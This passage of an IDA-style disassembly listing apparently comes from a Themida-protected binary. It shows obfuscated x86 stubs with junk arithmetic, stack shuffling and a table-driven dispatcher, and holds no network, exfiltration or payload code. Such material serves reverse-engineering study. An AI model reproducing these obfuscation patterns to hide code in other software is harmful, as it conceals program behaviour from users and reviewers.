		and	ecx, 70EB4DDDh
		neg	ecx
		and	ecx, 470C43E4h
		and	ecx, 421E33C7h
		jmp	loc_59B400
; ---------------------------------------------------------------------------


loc_5A2308:				; CODE XREF: Themida_:005AA0E2j
		mov	esi, 49F6E5Ch
		mov	ecx, 49F6E5Eh
		jmp	loc_5A12F7
; ---------------------------------------------------------------------------


loc_5A2317:				; CODE XREF: Themida_:005ABA39j
		pop	dword ptr [esp]
		jmp	loc_5AD937
; ---------------------------------------------------------------------------


loc_5A231F:				; CODE XREF: Themida_:005A573Dj
		push	2BDBh
		mov	[esp], esp
		push	ebp
		jmp	loc_5AA671
; ---------------------------------------------------------------------------


loc_5A232D:				; CODE XREF: Themida_:0059E71Aj
		add	esp, 4
		mov	ecx, 0B3B695Fh
		jmp	loc_5A8F9F
; ---------------------------------------------------------------------------


loc_5A233A:				; CODE XREF: Themida_:0059BC88j
					; Themida_:0059FB2Fj
		jns	loc_59986E
		add	dl, 0D7h
		add	bl, dl
		pop	edx
		sub	bl, 94h
		sub	bl, 49h
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		jmp	loc_59D942
; ---------------------------------------------------------------------------


loc_5A2357:				; CODE XREF: Themida_:005A0B16j
		mov	esp, [esp]
		xor	[esp], eax
		jmp	loc_5A7FE0
; ---------------------------------------------------------------------------


loc_5A2362:				; CODE XREF: Themida_:005A00A6j
		push	ecx
		jmp	loc_5A7C6D
; ---------------------------------------------------------------------------


loc_5A2368:				; CODE XREF: Themida_:005AA388j
		mov	bl, 4Dh
		add	bl, 0E9h
		sub	bl, 4Fh
		add	bl, 0D8h
		jnb	loc_5AE7C0
		jmp	loc_5A5039
; ---------------------------------------------------------------------------


loc_5A237E:				; CODE XREF: Themida_:005AA6FFj
		sub	cl, 0C1h
		jmp	loc_5A63A3
; ---------------------------------------------------------------------------


loc_5A2386:				; CODE XREF: Themida_:005A9310j
		pop	esp
		jmp	loc_5A67CA
; ---------------------------------------------------------------------------


loc_5A238C:				; CODE XREF: Themida_:005A0384j
		not	dword ptr [esp]
		pop	eax
		neg	eax
		jl	loc_59D512
		shl	eax, 1
		jnp	loc_59D3AA
		jmp	loc_5A05DF
; ---------------------------------------------------------------------------


loc_5A23A5:				; CODE XREF: Themida_:0059EAF6j
		jmp	loc_5AF14D
; ---------------------------------------------------------------------------


loc_5A23AA:				; DATA XREF: Themida_:0059886Co
		push	1BB0h
		jmp	loc_59BC50
; ---------------------------------------------------------------------------


loc_5A23B4:				; CODE XREF: Themida_:005A2BF2j
		add	ebx, 362F79C6h
		mov	edi, ebx
		pop	ebx
		sub	eax, edi
		jmp	loc_59C74D
; ---------------------------------------------------------------------------


loc_5A23C4:				; CODE XREF: Themida_:005A3455j
					; Themida_:005A91AAj
		add	ebx, 5EA10964h
		push	edi
		mov	edi, 7FB70AB4h
		jmp	loc_5AF3DF
; ---------------------------------------------------------------------------


loc_5A23D5:				; CODE XREF: Themida_:005ADB3Dj
		push	ebp
		jmp	loc_5A4AFB
; ---------------------------------------------------------------------------


loc_5A23DB:				; CODE XREF: Themida_:0059E627j
		push	0BB9h
		mov	[esp], ecx
		push	esi
		jmp	loc_5AA8C4
; ---------------------------------------------------------------------------


loc_5A23E9:				; CODE XREF: Themida_:005AB939j
		mov	dh, ch
		mov	ecx, [esp]
		jmp	loc_5A411A
; ---------------------------------------------------------------------------


loc_5A23F3:				; CODE XREF: Themida_:0059EE29j
		shr	esi, 6
		xor	esi, 0E7B40B5h
		xor	esi, 0AF3A59FFh
		xor	ebx, esi
		pop	esi
		jmp	loc_59C13D
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ebx
		push	esp
		pop	ebx
		sub	esp, 4
		mov	[esp], ebp
		push	edx
		mov	edx, 122837E5h
		mov	ebp, edx
		pop	edx
		push	2A3h
		mov	[esp], ebx
		mov	ebx, 636643BFh
		shr	ebx, 8
		jz	loc_59D75B
		neg	ebx
		xchg	eax, ebx
		jmp	loc_5A2FC5
; ---------------------------------------------------------------------------


loc_5A2441:				; CODE XREF: Themida_:005A4255j
					; Themida_:005ABAB0j
		jmp	loc_5AED3D
; ---------------------------------------------------------------------------


loc_5A2446:				; CODE XREF: Themida_:0059CBEAj
		push	dword ptr [esp]
		pop	edi
		jmp	loc_59FDEA
; ---------------------------------------------------------------------------


loc_5A244F:				; CODE XREF: Themida_:005A04CEj
		shl	ebp, 8
		add	ebp, 0DCE2CE04h
		jmp	loc_5A6E7F
; ---------------------------------------------------------------------------


loc_5A245D:				; CODE XREF: Themida_:005AD0ADj
		push	eax
		push	dword ptr [esp+4]
		jmp	loc_5AD17F
; ---------------------------------------------------------------------------


loc_5A2467:				; CODE XREF: Themida_:005AD4FDj
		pop	esp
		jmp	loc_59B445
; ---------------------------------------------------------------------------


loc_5A246D:				; CODE XREF: Themida_:0059DD07j
		and	dh, 0ADh
		xor	dh, 0B9h
		xor	ch, dh
		pop	edx
		add	al, ch
		jmp	loc_5AE25E
; ---------------------------------------------------------------------------


loc_5A247D:				; CODE XREF: Themida_:00599A41j
		pop	eax
		jmp	loc_5A76BA
; ---------------------------------------------------------------------------


loc_5A2483:				; CODE XREF: Themida_:005A7EECj
		push	ebp
		mov	ebp, 830E41C8h
		add	edi, ebp
		jmp	loc_59AC43
; ---------------------------------------------------------------------------


loc_5A2490:				; CODE XREF: Themida_:00599A64j
					; Themida_:005A3353j
		mov	eax, 18D1240Bh
		push	edi
		mov	edi, eax
		push	edi
		pop	ecx
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5A1DB2
; ---------------------------------------------------------------------------


loc_5A24A8:				; CODE XREF: Themida_:005AABD1j
		push	5270h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		push	51EEh
		mov	[esp], ebp
		push	64FAh
		mov	[esp], eax
		mov	eax, 0FBE3F09h
		mov	ebp, 0FBE3F0Dh
		xor	ebp, eax
		jmp	loc_5AB6DD
; ---------------------------------------------------------------------------


loc_5A24DB:				; CODE XREF: Themida_:005AA4D6j
		mov	cl, 81h
		mov	al, cl
		pop	ecx
		mov	bh, al
		pop	ax
		add	bh, ch
		jmp	loc_5A11EA
; ---------------------------------------------------------------------------


loc_5A24EB:				; CODE XREF: Themida_:005A6BC8j
		xor	[esp], ebx
		jmp	loc_5ACC93
; ---------------------------------------------------------------------------


loc_5A24F3:				; DATA XREF: Themida_:0059873Co
		mov	ax, [esp]
		push	4D24h
		jmp	loc_59B215
; ---------------------------------------------------------------------------


loc_5A2501:				; CODE XREF: Themida_:0059DA51j
		push	65B3h
		mov	[esp], esi
		push	1256h
		jmp	loc_59CD80
; ---------------------------------------------------------------------------


loc_5A2513:				; CODE XREF: Themida_:005A7E1Cj
		pop	edx
		add	esp, 4
		xor	bl, al
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_5ACE03
; ---------------------------------------------------------------------------


loc_5A2524:				; CODE XREF: Themida_:005A4A9Aj
		sub	ebp, 5C367BF9h
		or	ebp, 6FD711BDh
		jmp	loc_5A065A
; ---------------------------------------------------------------------------


loc_5A2535:				; CODE XREF: Themida_:0059BD0Aj
		mov	[esp], eax
		mov	eax, 48654161h
		mov	ebp, eax
		pop	eax
		jmp	loc_5A54FC
; ---------------------------------------------------------------------------


loc_5A2545:				; CODE XREF: Themida_:loc_5AC7B6j
		add	ebx, 0FD97309h
		jmp	loc_5A9435
; ---------------------------------------------------------------------------


loc_5A2550:				; CODE XREF: Themida_:005A348Dj
					; Themida_:005ABF6Bj ...
		pop	edi
		pop	ebp
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		sub	eax, 128D7BD8h
		push	2938h
		jmp	loc_5AE582
; ---------------------------------------------------------------------------


loc_5A256D:				; CODE XREF: Themida_:0059996Aj
					; Themida_:005A8AA0j
		push	esp
		jmp	loc_5A2717
; ---------------------------------------------------------------------------


loc_5A2573:				; CODE XREF: Themida_:005AC107j
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_5AB4A4
; ---------------------------------------------------------------------------


loc_5A258A:				; CODE XREF: Themida_:005AEBA9j
		sub	esp, 4
		jmp	loc_5ABD49
; ---------------------------------------------------------------------------


loc_5A2595:				; DATA XREF: Themida_:00598714o
		push	374Bh
		mov	[esp], eax
		mov	eax, 435C54B5h
		shr	eax, 1
		jmp	loc_5A29E7
; ---------------------------------------------------------------------------


loc_5A25A9:				; CODE XREF: Themida_:005A4051j
		sub	ebx, 12D09ADAh
		xor	edi, ebx
		pop	ebx
		not	edi
		add	edi, 59EBF62h
		jmp	loc_59FD2A
; ---------------------------------------------------------------------------


loc_5A25BF:				; DATA XREF: Themida_:005987E8o
		mov	ax, [esp]
		jmp	loc_59B565
; ---------------------------------------------------------------------------


loc_5A25C8:				; CODE XREF: Themida_:0059BF70j
		add	eax, 57A4625Bh
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_5AE719
; ---------------------------------------------------------------------------


loc_5A25DC:				; CODE XREF: Themida_:005A1FCDj
		push	6B3Dh
		mov	[esp], eax
		mov	al, dh
		jmp	loc_59F969
; ---------------------------------------------------------------------------


loc_5A25EB:				; CODE XREF: Themida_:005AE358j
		sub	bl, cl
		pop	ecx
		mov	ecx, [esp]
		jmp	loc_5A8B9B
; ---------------------------------------------------------------------------


loc_5A25F6:				; CODE XREF: Themida_:005A26F2j
		add	edx, 52B907C3h
		push	ecx
		jmp	loc_59C4F2
; ---------------------------------------------------------------------------


loc_5A2602:				; CODE XREF: Themida_:005AD3FEj
		shl	dword ptr [esp], cl
		pushf
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5A260B:				; CODE XREF: Themida_:005A0D03j
					; Themida_:005A5A0Bj
		pop	esp
		sar	byte ptr [esp],	cl
		pushf
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5A2615:				; CODE XREF: Themida_:005A2852j
					; Themida_:005A8173j
		add	edx, ecx
		push	edi
		jmp	loc_5A5AC6
; ---------------------------------------------------------------------------


loc_5A261D:				; CODE XREF: Themida_:005A9552j
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		pop	ecx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xor	ebx, [esp]
		jmp	loc_59F025
; ---------------------------------------------------------------------------


loc_5A2649:				; CODE XREF: Themida_:005AE428j
		add	ebx, 695F7241h
		add	ebx, ebp
		push	edx
		mov	edx, 695F7241h
		sub	ebx, 37F443CBh
		jmp	loc_59D7B1
; ---------------------------------------------------------------------------


loc_5A2662:				; CODE XREF: Themida_:005AAAD9j
		xchg	eax, edx
		jmp	loc_59B340
; ---------------------------------------------------------------------------


loc_5A2668:				; CODE XREF: Themida_:0059D18Ej
		add	ebp, 4
		push	eax
		mov	eax, 4
		jmp	loc_599568
; ---------------------------------------------------------------------------


loc_5A2679:				; DATA XREF: Themida_:005988F0o
		lodsd
		add	eax, 15B4366Eh
		sub	eax, ebx
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_59BFA1
; ---------------------------------------------------------------------------


loc_5A268C:				; CODE XREF: Themida_:005A972Dj
		add	dword ptr [esp+8], 7EDC5AA0h
		pop	eax
		sub	dword ptr [esp+4], 1BEE7CFAh
		sub	[esp+4], edi
		add	dword ptr [esp+4], 1BEE7CFAh
		push	edi
		jmp	loc_5A9016
; ---------------------------------------------------------------------------


loc_5A26AF:				; CODE XREF: Themida_:0059BC4Bj
		push	eax
		mov	eax, 67C50F2Dh
		xor	esi, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_59BBF1
; ---------------------------------------------------------------------------


loc_5A26C6:				; CODE XREF: Themida_:0059A01Aj
		jmp	loc_5A9562
; ---------------------------------------------------------------------------


loc_5A26CB:				; CODE XREF: Themida_:005A3A1Cj
		mov	esi, 4
		mov	edx, esi
		pop	esi
		add	eax, 6E657A1Eh
		sub	eax, edx
		push	esi
		mov	esi, 57271960h
		jmp	loc_5A4BB1
; ---------------------------------------------------------------------------


loc_5A26E5:				; CODE XREF: Themida_:005AF1C1j
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		push	edx
		mov	edx, 68FE1461h
		jmp	loc_5A25F6
; ---------------------------------------------------------------------------


loc_5A26F7:				; CODE XREF: Themida_:005A4746j
		add	ecx, 4
		push	16C5h
		mov	[esp], ebx
		mov	ebx, 4
		push	ebx
		jmp	loc_5AD15E
; ---------------------------------------------------------------------------


loc_5A2710:				; CODE XREF: Themida_:005AB7E9j
		push	ecx
		push	edx
		jmp	loc_5AD843
; ---------------------------------------------------------------------------


loc_5A2717:				; CODE XREF: Themida_:005A256Ej
		pop	dword ptr [esp]
		sub	esp, 4
		mov	[esp], ecx
		push	ebx
		jmp	loc_5A4398
; ---------------------------------------------------------------------------


loc_5A2729:				; CODE XREF: Themida_:005A19C1j
		pop	ebx
		jmp	loc_5A68C8
; ---------------------------------------------------------------------------


loc_5A272F:				; CODE XREF: Themida_:005A826Ej
		pop	dword ptr [esp]
		jmp	loc_5A6557
; ---------------------------------------------------------------------------


loc_5A2737:				; CODE XREF: Themida_:0059F816j
		not	ecx
		jmp	loc_59E8A6
; ---------------------------------------------------------------------------


loc_5A273E:				; CODE XREF: Themida_:005AC07Aj
		add	esp, 4
		push	6DDCh
		mov	[esp], ecx
		mov	ecx, 17503033h
		add	ecx, 5D164FFDh
		jmp	loc_5AF86E
; ---------------------------------------------------------------------------


loc_5A2759:				; CODE XREF: Themida_:005A977Dj
		shr	eax, 6
		jmp	loc_5A0898
; ---------------------------------------------------------------------------


loc_5A2761:				; CODE XREF: Themida_:0059BEFBj
		mov	al, 2
		mov	bh, al
		pop	eax
		mov	cl, bh
		pop	ebx
		or	cl, 0C3h
		push	3D1Ah
		mov	[esp], eax
		push	edx
		jmp	loc_59B328
; ---------------------------------------------------------------------------


loc_5A277A:				; CODE XREF: Themida_:0059B07Aj
					; Themida_:loc_5AA6A3j
		xor	edx, 4AE42521h
		not	edx
		shl	edx, 6
		sub	edx, 1CBEF780h
		jmp	loc_59AD80
; ---------------------------------------------------------------------------


loc_5A2790:				; CODE XREF: Themida_:005A6CF8j
		and	ebp, 7AA2715Ah
		sub	ebp, 2D374E8Fh
		add	edx, ebp
		pop	ebp
		add	edx, eax
		sub	edx, 1D4B12B9h
		pop	eax
		add	ebp, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5A760F
; ---------------------------------------------------------------------------


loc_5A27C2:				; CODE XREF: Themida_:loc_5A9374j
		add	esi, 5783B8C7h
		add	eax, esi
		jmp	loc_59C2CC
; ---------------------------------------------------------------------------


loc_5A27CF:				; CODE XREF: Themida_:005A9459j
		push	ax
		mov	ax, 0D300h
		xor	di, ax
		pop	ax
		add	bx, di
		pop	edi
		add	bx, cx
		jmp	loc_59D470
; ---------------------------------------------------------------------------


loc_5A27E6:				; CODE XREF: Themida_:005AB9A0j
		mov	al, 99h
		and	al, 0F2h
		jmp	loc_59B169
; ---------------------------------------------------------------------------


loc_5A27EF:				; CODE XREF: Themida_:0059FB97j
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_59BA77
; ---------------------------------------------------------------------------


loc_5A27FD:				; CODE XREF: Themida_:00599851j
		dec	edx
		jmp	loc_5A6400
; ---------------------------------------------------------------------------


loc_5A2803:				; CODE XREF: Themida_:0059F587j
		mov	eax, esp
		add	eax, 4
		jmp	loc_5A2DBF
; ---------------------------------------------------------------------------


loc_5A280F:				; CODE XREF: Themida_:0059A4BEj
		add	ebx, 47146D50h
		jmp	loc_5A58F7
; ---------------------------------------------------------------------------


loc_5A281A:				; CODE XREF: Themida_:005A39DFj
		push	3408h
		jmp	loc_59DDCE
; ---------------------------------------------------------------------------


loc_5A2824:				; CODE XREF: Themida_:005A186Fj
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebx
		push	3CF33EFAh
		pop	ebx
		add	esi, ebx
		jmp	loc_5A2F8C
; ---------------------------------------------------------------------------


loc_5A2839:				; CODE XREF: Themida_:loc_59E805j
		or	esi, 3D783FDDh
		jmp	loc_5A549A
; ---------------------------------------------------------------------------


loc_5A2844:				; CODE XREF: Themida_:005A8298j
		mov	[esp], ecx
		jmp	loc_59BBEA
; ---------------------------------------------------------------------------


loc_5A284C:				; CODE XREF: Themida_:005AFA20j
		add	ebx, 26680828h
		jb	loc_5A2615
		sub	ebx, 86423A4Fh
		jmp	loc_5A0415
; ---------------------------------------------------------------------------


loc_5A2863:				; CODE XREF: Themida_:005AC555j
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_5A1837
; ---------------------------------------------------------------------------


loc_5A286D:				; CODE XREF: Themida_:005AB59Cj
		pop	eax
		dec	eax
		xor	eax, 608A7636h
		sub	esp, 4
		mov	[esp], eax
		pop	ebp
		pop	eax
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 546C5A57h
		sub	ecx, 1
		push	esi
		mov	esi, 512A22E2h
		push	edx
		mov	edx, 333757C4h
		or	edx, 7BA4454Eh
		or	edx, 39B85697h
		not	edx
		xor	edx, 585B38F0h
		shl	edx, 6
		push	edi
		mov	edi, 16CB6EB8h
		not	edi
		push	eax
		jmp	loc_5A5F56
; ---------------------------------------------------------------------------


loc_5A28C1:				; CODE XREF: Themida_:005A64D2j
		mov	[esp], eax
		jmp	loc_5A39B6
; ---------------------------------------------------------------------------


loc_5A28C9:				; CODE XREF: Themida_:0059C4E2j
		mov	eax, [esp]
		push	eax
		jmp	loc_59A795
; ---------------------------------------------------------------------------


loc_5A28D2:				; CODE XREF: Themida_:00599325j
		ja	loc_5A9BAF
		push	edx
		mov	edx, 71682ABDh
		xor	esi, edx
		mov	edx, [esp]
		push	ecx


loc_5A28E4:				; CODE XREF: Themida_:0059C4EDj
		add	esp, 4
		xchg	ebp, [esp]
		pop	esp
		push	edx
		mov	dh, 0F8h
		push	ebx
		push	edx
		mov	dl, 7Fh
		mov	bh, 0BEh
		add	bh, dl
		pop	edx
		sub	bh, 4Eh
		jmp	loc_599D1D
; ---------------------------------------------------------------------------


loc_5A2902:				; CODE XREF: Themida_:005AD250j
		not	bl
		mov	ah, bl
		pop	ebx
		sub	ah, 1
		sub	ah, 0CAh
		shr	ah, 8
		inc	ah
		sub	esp, 4
		mov	[esp], edx
		mov	dh, 0CFh
		add	ah, 77h
		add	ah, dh
		sub	ah, 77h
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		mov	cl, ah
		mov	eax, [esp]
		push	ebx
		jmp	loc_59D68D
; ---------------------------------------------------------------------------


loc_5A2937:				; CODE XREF: Themida_:005A21E8j
		add	ebx, ebp
		mov	ebp, [esp]
		jmp	loc_5A70E8
; ---------------------------------------------------------------------------


loc_5A2941:				; CODE XREF: Themida_:0059CD84j
		add	dword ptr [esp], 4
		pop	esi
		sub	esp, 4
		jmp	loc_59C2B0
; ---------------------------------------------------------------------------


loc_5A2951:				; CODE XREF: Themida_:0059CDEDj
					; Themida_:005A0001j
		mov	eax, 20A804FAh
		sub	eax, 40075519h
		shl	eax, 2
		xor	eax, 0B0BDA9B3h
		push	ebp
		mov	ebp, 3F9459A4h
		and	ebp, 14B67D78h
		shl	ebp, 8
		jmp	loc_5AB17D
; ---------------------------------------------------------------------------


loc_5A2977:				; CODE XREF: Themida_:00599406j
		sub	dx, 25F8h
		jmp	loc_5A62E2
; ---------------------------------------------------------------------------


loc_5A2981:				; CODE XREF: Themida_:005A8839j
		pop	edx
		add	eax, ecx
		add	eax, 2CEB29FAh
		pop	ecx
		jmp	loc_5A2E24
; ---------------------------------------------------------------------------


loc_5A298F:				; CODE XREF: Themida_:005A35B7j
		push	edi
		mov	edi, 387A7400h
		dec	edi
		shl	edi, 6
		jmp	loc_5A424F
; ---------------------------------------------------------------------------


loc_5A299E:				; CODE XREF: Themida_:005A32F9j
		add	ebp, 891FDA11h
		add	eax, ebp
		pop	ebp
		add	eax, edx
		sub	eax, 125D4959h
		jmp	loc_59EE59
; ---------------------------------------------------------------------------


loc_5A29B3:				; CODE XREF: Themida_:005A1F51j
		sub	eax, 4745419Eh
		sub	eax, ebx
		jmp	loc_5A0043
; ---------------------------------------------------------------------------


loc_5A29BF:				; DATA XREF: Themida_:005986FCo
		mov	sp, [esp]
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5A29C8:				; CODE XREF: Themida_:0059DF6Ej
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		and	[esp], ax
		pushf
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5A29DE:				; CODE XREF: Themida_:005A955Dj
		add	esp, 4
		push	edx
		jmp	loc_5AD2D4
; ---------------------------------------------------------------------------


loc_5A29E7:				; CODE XREF: Themida_:005A25A4j
		push	ecx
		jmp	loc_599671
; ---------------------------------------------------------------------------


loc_5A29ED:				; CODE XREF: Themida_:0059F8A1j
		sub	bl, cl
		add	bl, 15h
		mov	ecx, [esp]
		jmp	loc_59B517
; ---------------------------------------------------------------------------


loc_5A29FA:				; CODE XREF: Themida_:005A0E4Fj
		dec	ebx
		and	ebx, 3A787FA5h
		jmp	loc_5A9369
; ---------------------------------------------------------------------------


loc_5A2A06:				; CODE XREF: Themida_:0059FBF6j
		add	dword ptr [esp], 4
		pop	eax
		push	ebp
		mov	ebp, 4
		jmp	loc_5AA2AE
; ---------------------------------------------------------------------------


loc_5A2A16:				; CODE XREF: Themida_:005A53EFj
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5A3194
; ---------------------------------------------------------------------------


loc_5A2A21:				; CODE XREF: Themida_:005A74FAj
		add	edx, 4
		jmp	loc_5A2FB1
; ---------------------------------------------------------------------------


loc_5A2A2C:				; CODE XREF: Themida_:005A0434j
		pop	cx
		xor	dl, 9Ch
		xor	ch, dl
		pop	edx
		push	small 0
		add	byte ptr [esp],	0F8h
		add	byte ptr [esp],	0C5h
		sub	[esp], ch
		sub	byte ptr [esp],	0C5h
		push	dx
		mov	dl, 0F8h
		jmp	loc_5A8097
; ---------------------------------------------------------------------------


loc_5A2A50:				; CODE XREF: Themida_:0059ABFFj
		sub	ecx, 218C4AE7h
		or	ecx, 758692Bh
		jmp	loc_59F451
; ---------------------------------------------------------------------------


loc_5A2A61:				; CODE XREF: Themida_:005A463Ej
		jz	loc_5A5C3C
		jmp	loc_5A0DCC
; ---------------------------------------------------------------------------


loc_5A2A6C:				; CODE XREF: Themida_:005A4695j
		add	esp, 4
		push	ecx
		mov	ecx, 79CD6CBAh
		mov	ebp, 0E19ACAB6h
		xor	ebp, ecx
		pop	ecx
		add	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		add	edx, 52143162h
		add	edx, 7381274Dh
		jmp	loc_5AB2B0
; ---------------------------------------------------------------------------


loc_5A2A96:				; CODE XREF: Themida_:0059EB77j
		xor	ebx, 5C337CD9h
		sub	ebx, 24F4C6D2h
		add	ecx, ebx
		pop	ebx
		sub	dword ptr [esp+4], 638782Dh
		jmp	loc_5AC7A2
; ---------------------------------------------------------------------------


loc_5A2AB2:				; CODE XREF: Themida_:005AD515j
		mov	esi, edx
		pop	edx
		sub	edx, 34EE5495h
		add	edx, esi
		add	edx, 34EE5495h
		pop	esi
		xor	edx, [esp]
		jmp	loc_59FD7D
; ---------------------------------------------------------------------------


loc_5A2ACC:				; DATA XREF: Themida_:0059879Co
		pop	dword ptr [edi+40h]
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5A2AD4:				; CODE XREF: Themida_:005A30FAj
		sub	esp, 4
		jmp	loc_59F378
; ---------------------------------------------------------------------------


loc_5A2ADC:				; CODE XREF: Themida_:005A6EC9j
		push	edx
		mov	dl, 44h
		add	dl, 0C9h
		shl	dl, 6
		jmp	loc_5ADAD2
; ---------------------------------------------------------------------------


loc_5A2AEA:				; CODE XREF: Themida_:005A14E0j
		xor	ch, 6Ch
		jmp	loc_59D109
; ---------------------------------------------------------------------------


loc_5A2AF2:				; CODE XREF: Themida_:005A02FEj
		push	dword ptr [esp]
		pop	edi
		push	edi
		jmp	loc_599DC8
; ---------------------------------------------------------------------------


loc_5A2AFC:				; CODE XREF: Themida_:005AC881j
		add	ebp, ebx
		jmp	loc_59D583
; ---------------------------------------------------------------------------


loc_5A2B03:				; CODE XREF: Themida_:005ADCFBj
		push	dword ptr [esp+4]
		mov	esi, [esp]
		jmp	loc_5AE8DD
; ---------------------------------------------------------------------------


loc_5A2B0F:				; CODE XREF: Themida_:005A227Fj
		pop	eax
		add	eax, 4
		add	eax, 4
		jmp	loc_5AF43D
; ---------------------------------------------------------------------------


loc_5A2B1D:				; CODE XREF: Themida_:005A41C2j
		add	edi, 0FD05424Ch
		add	[esp+4], edi
		mov	edi, [esp]
		jmp	loc_598D01
; ---------------------------------------------------------------------------


loc_5A2B2F:				; CODE XREF: Themida_:005ADF64j
		mov	[esp], esi
		jmp	loc_599D35
; ---------------------------------------------------------------------------


loc_5A2B37:				; CODE XREF: Themida_:005A9DEEj
		sub	dword ptr [esp], 0AE2429Dh
		sub	[esp], eax
		jmp	loc_5A78FE
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_5AA768
; ---------------------------------------------------------------------------


loc_5A2B51:				; CODE XREF: Themida_:005A9045j
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		div	cl
		movzx	cx, ah
		push	edi
		sub	esp, 4
		push	695h
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	edi, [esp]
		push	edx
		jmp	loc_5AC492
; ---------------------------------------------------------------------------


loc_5A2B87:				; CODE XREF: Themida_:005A7E95j
		mov	[eax], dl
		jmp	loc_5A2CDD
; ---------------------------------------------------------------------------


loc_5A2B8E:				; CODE XREF: Themida_:005A94A1j
		mov	esp, [esp]
		mov	[esp], ebx
		mov	ebx, 28EF3E10h
		add	ebx, 3779317Bh
		push	ebp
		jmp	loc_5A18B4
; ---------------------------------------------------------------------------


loc_5A2BA5:				; CODE XREF: Themida_:005A0BC4j
		mov	ah, bl
		push	edx
		jmp	loc_5A1237
; ---------------------------------------------------------------------------


loc_5A2BAD:				; CODE XREF: Themida_:005A6E7Aj
		sub	esi, ecx
		pop	ecx
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], cx
		jmp	loc_59B04F
; ---------------------------------------------------------------------------


loc_5A2BBF:				; CODE XREF: Themida_:005A3B57j
		push	2E36h
		mov	[esp], ebx
		mov	ebx, 7DFA0BB8h
		jmp	loc_5A0F7F
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ebp
		push	393Fh
		jmp	loc_59B714
; ---------------------------------------------------------------------------


loc_5A2BE0:				; CODE XREF: Themida_:005AF50Dj
		push	edi
		push	ebx
		mov	ebx, 0C0915EBh
		shl	ebx, 8
		inc	ebx
		jl	loc_5A7359
		dec	ebx
		jp	loc_5A23B4
		add	ebx, 362F79C6h
		mov	edi, ebx
		pop	ebx
		sub	eax, edi


loc_5A2C03:				; CODE XREF: Themida_:005A72AAj
		push	ebx
		mov	ebx, 53A7228Dh
		not	ebx
		sub	ebx, 7E074FE2h
		shl	ebx, 1
		not	ebx
		jmp	loc_5A8548
; ---------------------------------------------------------------------------


loc_5A2C1A:				; CODE XREF: Themida_:005A78F9j
					; Themida_:005AD99Aj
		shl	edx, 1
		jmp	loc_59D64E
; ---------------------------------------------------------------------------


loc_5A2C21:				; CODE XREF: Themida_:005A9D41j
		xor	esi, 0A036C9Fh
		shr	esi, 1
		jmp	loc_5A5DC9
; ---------------------------------------------------------------------------


loc_5A2C2E:				; CODE XREF: Themida_:005A2039j
		sub	edi, eax
		pop	eax
		dec	edi
		not	edi
		xor	edi, 168D5ED6h
		xor	edi, 63596F9Dh
		sub	eax, 264B5FFFh
		add	eax, edi
		jmp	loc_5AD12E
; ---------------------------------------------------------------------------


loc_5A2C4C:				; CODE XREF: Themida_:005A7890j
		sub	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5ADEA9
; ---------------------------------------------------------------------------


loc_5A2C5C:				; CODE XREF: Themida_:005A9CEAj
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		jmp	loc_5AB429
; ---------------------------------------------------------------------------


loc_5A2C6C:				; CODE XREF: Themida_:005A581Aj
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		and	[esp], al
		pushf
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5A2C81:				; CODE XREF: Themida_:005AD66Bj
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_5A5B7F
; ---------------------------------------------------------------------------


loc_5A2C8F:				; CODE XREF: Themida_:005AFBD7j
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5A2C94:				; CODE XREF: Themida_:005AC85Fj
		shr	ch, 6
		push	edx
		mov	dh, 1Dh
		push	ax
		mov	al, 0FFh
		add	dh, al
		pop	ax
		jmp	loc_5A908C
; ---------------------------------------------------------------------------


loc_5A2CA7:				; CODE XREF: Themida_:0059D68Fj
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_59D52A
; ---------------------------------------------------------------------------


loc_5A2CBB:				; CODE XREF: Themida_:005A8F9Aj
		push	edx
		mov	edx, 3B9A679Dh
		xor	edx, 0E875349h
